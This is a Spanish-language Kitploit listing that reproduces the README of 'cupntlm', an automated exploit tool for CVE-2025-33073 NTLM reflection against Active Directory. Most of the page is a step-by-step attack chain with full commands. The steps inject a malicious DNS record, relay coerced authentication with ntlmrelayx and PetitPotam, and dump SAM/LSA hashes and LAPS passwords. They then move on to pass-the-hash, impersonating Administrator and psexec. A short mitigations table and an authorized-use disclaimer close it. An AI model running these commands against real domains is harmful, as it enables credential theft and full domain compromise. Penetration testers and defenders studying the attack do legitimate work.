Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cupntlm-Automated-Exploit-For-CVE-2025-33073- — cupntlm | Kitploit
Herramientas/GitHubGitHub/egcupcake/cupntlm-automated-exploit-for-cve-2025-33073-
Escalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónMovimiento LateralRecopilación de InformaciónPost-ExplotaciónPruebas de PenetraciónComando y Control

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Autenticación
Red Teaming
Análisis de DNS
GitHubegcupcake/cupntlm-automated-exploit-for-cve-2025-33073-

cupntlm-Automated-Exploit-For-CVE-2025-33073-

cupntlm

Ver Repositorio
3hace 4 mesesAún no revisado
Compartir

cupntlm

CVE-2025-33073 — Bypass de reflexión NTLM mediante coerción DNS
Herramienta de explotación automatizada para entornos de Active Directory.


Descripción general

cupntlm automatiza la cadena de ataque de reflexión/retransmisión NTLM que abusa de CVE-2025-33073. Combina la inyección de registros DNS, la coerción de autenticación forzada (PetitPotam) y la retransmisión NTLM en un único flujo de trabajo. La herramienta admite dos modos operativos según el alcance y los requisitos de sigilo.

Resumen de la cadena de ataque

root@kitploit:~
Attacker                    Domain Controller              Target Host
   │                               │                            │
   │── 1. Inject DNS record ───────▶│                            │
   │      (attacker IP as target)   │                            │
   │                                │                            │
   │── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
   │                                │                            │
   │◀─ 3. NTLM auth forwarded back ─────────────────────────────│
   │                                │                            │
   │── 4. Relay to DC ─────────────▶│                            │
   │      (ntlmrelayx)              │                            │
   │                                │                            │
   │◀─ 5. Shell / secretsdump / etc.│                            │

Requisitos previos en la red objetivo:

  • Firma SMB deshabilitada en el objetivo de retransmisión
  • Una cuenta de dominio válida con privilegios bajos (solo lectura es suficiente)
  • Acceso de red al DC (puerto 389 LDAP, 445 SMB)

Requisitos

Paquetes del sistema

Librerías de Python

LibreríaInstalación
impacketpip3 install impacket --break-system-packages
coloramapip3 install colorama --break-system-packages
dnspythonpip3 install dnspython --break-system-packages

Contenido del directorio exploit/ (se completa automáticamente con setup.sh)

root@kitploit:~
exploit/
├── cupntlm.py
├── ntlmrelayx.py       # from impacket
├── dnstool.py          # from krbrelayx
├── lib/                # krbrelayx support library
└── PetitPotam.py

Instalación

root@kitploit:~
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh

Uso

Modo Check — Verificar la viabilidad del ataque

Comprueba el estado de la firma SMB en los objetivos y valida las credenciales de dominio antes de intentar nada.

root@kitploit:~
cd exploit
sudo python3 cupntlm.py check \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100

Modo Per-Target — Registro DNS separado por host

Crea un registro DNS único para cada objetivo, dispara la coerción uno a uno y limpia los registros entre iteraciones. Más lento, pero más preciso y deja menos ruido.

root@kitploit:~
sudo python3 cupntlm.py per-target \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Modo Single — Un registro DNS, retransmisión persistente

Inyecta un único registro DNS y mantiene ntlmrelayx ejecutándose de forma continua mientras itera por todos los objetivos. Más rápido para ámbitos grandes.

root@kitploit:~
sudo python3 cupntlm.py single \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Formato de targets.txt

root@kitploit:~
192.168.1.10
192.168.1.11
192.168.1.12

Explotación manual

Los siguientes pasos reproducen manualmente toda la cadena de ataque sin usar cupntlm.py. Útil para comprender las primitivas, depurar o adaptarse a entornos no estándar.

Paso 1 — Enumerar la firma SMB

Identifica los hosts donde la firma SMB está deshabilitada. Estos son tus objetivos de retransmisión válidos.

root@kitploit:~
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt

O con nmap:

root@kitploit:~
nmap -p 445 --script smb2-security-mode 192.168.1.0/24

Busca:

root@kitploit:~
Message signing enabled but not required   ← valid relay target
Message signing enabled and required       ← cannot relay here

Paso 2 — Inyectar un registro DNS malicioso

Usa dnstool.py para añadir un registro A en el DNS del dominio que apunte un nombre de host a tu máquina. Cuando un objetivo resuelve este nombre de host y se autentica, la solicitud llega a tu listener de retransmisión.

root@kitploit:~
cd exploit/

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action add \
  --record 'attacker-relay' \
  --data 192.168.45.200 \        # your attacker IP
  --type A \
  10.0.0.1                       # DC IP

Verifica que el registro se añadió:

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action query \
  --record 'attacker-relay' \
  10.0.0.1

Paso 3 — Iniciar el listener de retransmisión NTLM

Inicia ntlmrelayx.py antes de disparar la coerción. Permanecerá a la espera de autenticaciones entrantes.

Retransmisión a SMB — volcar SAM/LSA:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t smb://192.168.1.100 \
  -smb2support \
  --no-http-server

Retransmisión a LDAP — crear una nueva cuenta de máquina (para RBCD / shadow credentials):

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldap://10.0.0.1 \
  --delegate-access \
  --no-smb-server \
  --no-http-server

Retransmisión a LDAPS — volcar secretos del dominio:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldaps://10.0.0.1 \
  --dump-laps \
  --no-smb-server \
  --no-http-server

Paso 4 — Forzar la autenticación con PetitPotam

Obliga a la máquina objetivo a autenticarse hacia tu registro DNS inyectado. PetitPotam abusa de la interfaz MS-EFSRPC — no se requieren credenciales en hosts sin parchear, o usa credenciales válidas para los parcheados.

Sin autenticación (objetivo sin parchear):

root@kitploit:~
python3 PetitPotam.py \
  [dnsname] \         # your listener IP (matches DNS record)
  192.168.1.50             # target host to coerce

Autenticado (objetivo parcheado, se requieren credenciales válidas):

root@kitploit:~
python3 PetitPotam.py \
  -u pentester \
  -p 'P@ss' \
  -d lab.local \
   [dnsname] \
  192.168.1.50

En este punto, el host forzado envía su autenticación NTLM a tu máquina → ntlmrelayx la captura y la retransmite.


Paso 5 — Recopilar la salida

Según el objetivo de retransmisión que elegiste en el Paso 3:

  • Retransmisión SMB → ntlmrelayx vuelca los hashes en stdout y escribe <hostname>_samhashes.txt / _lsahashes.txt
  • Acceso delegado LDAP → ntlmrelayx imprime el nombre y la contraseña de la cuenta de máquina creada; continúa con getST.py para obtener un ticket de servicio
  • Volcado LDAPS → las contraseñas LAPS se imprimen directamente

Paso 6 — Limpiar el registro DNS

Elimina siempre los registros DNS inyectados después de la operación.

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action remove \
  --record 'attacker-relay' \
  --data 192.168.45.200 \
  --type A \
  10.0.0.1

Ejemplos de post-explotación

Pass-the-hash con una cuenta de máquina retransmitida:

root@kitploit:~
impacket-secretsdump \
  'lab.local/MACHINE$'@10.0.0.1 \
  -hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

Obtener un ticket de servicio para S4U2Self (después de RBCD):

root@kitploit:~
impacket-getST \
  -spn cifs/TARGET.lab.local \
  -impersonate Administrator \
  'lab.local/ATTACKERMACHINE$:password'

Usar el ticket:

root@kitploit:~
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local

Mitigaciones

ControlEfecto

Descargo de responsabilidad

Esta herramienta está destinada únicamente a pruebas de penetración autorizadas e investigación de seguridad.
No la utilices contra sistemas para los que no tengas permiso explícito por escrito para probar.


Créditos

  • fortra/impacket — ntlmrelayx
  • dirkjanm/krbrelayx — dnstool
  • topotam/PetitPotam — coerción EFS
Descargar herramienta
HerramientaPropósito
python3Tiempo de ejecución
pip3Administrador de paquetes de Python
gitClonado de dependencias
wgetDescarga de archivos
nmapEnumeración de firma SMB
netexec / crackmapexecVerificación de firma SMB (opcional)
Habilitar la firma SMB (obligatoria) en todos los hostsRompe la retransmisión a SMB
Habilitar la firma LDAP + enlace de canalRompe la retransmisión a LDAP/LDAPS
Parchear MS-EFSRPC (KB5005413)Bloquea PetitPotam sin autenticación
Restringir la creación de registros DNS a administradoresBloquea el paso de inyección DNS
Deshabilitar la autenticación de red NTLM (preferir Kerberos)Elimina toda esta clase de ataque